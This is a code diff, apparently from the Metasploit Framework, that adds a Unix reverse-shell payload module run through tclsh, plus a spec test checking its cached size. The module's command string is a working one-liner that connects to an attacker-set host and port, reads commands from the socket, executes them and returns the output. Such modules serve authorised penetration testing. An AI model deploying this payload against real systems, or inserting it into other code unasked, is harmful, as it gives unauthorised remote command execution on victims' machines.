Add cmd/unix/reverse_tclsh

modules/payloads/singles/cmd/unix/reverse_tclsh.rb

@@ -0,0 +1,50 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core/handler/reverse_tcp'
+require 'msf/base/sessions/command_shell'
+require 'msf/base/sessions/command_shell_options'
+
+module MetasploitModule
+
+  CachedSize = 184
+
+  include Msf::Payload::Single
+  include Msf::Sessions::CommandShellOptions
+
+  def initialize(info = {})
+    super(merge_info(info,
+      'Name'          => 'Unix Command Shell, Reverse TCP (via Tclsh)',
+      'Description'   => 'Creates an interactive shell via Tclsh',
+      'Author'        => ['bcoles'],
+      'License'       => MSF_LICENSE,
+      'Platform'      => 'unix',
+      'Arch'          => ARCH_CMD,
+      'Handler'       => Msf::Handler::ReverseTcp,
+      'Session'       => Msf::Sessions::CommandShell,
+      'PayloadType'   => 'cmd',
+      'RequiredCmd'   => 'tclsh',
+      'Payload'       =>
+        {
+          'Offsets' => { },
+          'Payload' => ''
+        }
+      ))
+  end
+
+  #
+  # Constructs the payload
+  #
+  def generate
+    super + command_string
+  end
+
+  #
+  # Returns the command string to use for execution
+  #
+  def command_string
+    %Q{echo 'set s [socket #{datastore['LHOST']} #{datastore['LPORT']}];set c "";while {$c != "exit"} {flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} {puts $s $r};flush $s;};close $s;'|tclsh}
+  end
+end

spec/modules/payloads_spec.rb

@@ -1008,6 +1008,16 @@
                           reference_name: 'cmd/unix/reverse_stub'
   end
 
+  context 'cmd/unix/reverse_tclsh' do
+    it_should_behave_like 'payload cached size is consistent',
+                          ancestor_reference_names: [
+                              'singles/cmd/unix/reverse_tclsh'
+                          ],
+                          dynamic_size: false,
+                          modules_pathname: modules_pathname,
+                          reference_name: 'cmd/unix/reverse_tclsh'
+  end
+
   context 'cmd/unix/reverse_zsh' do
     it_should_behave_like 'payload cached size is consistent',
                           ancestor_reference_names: [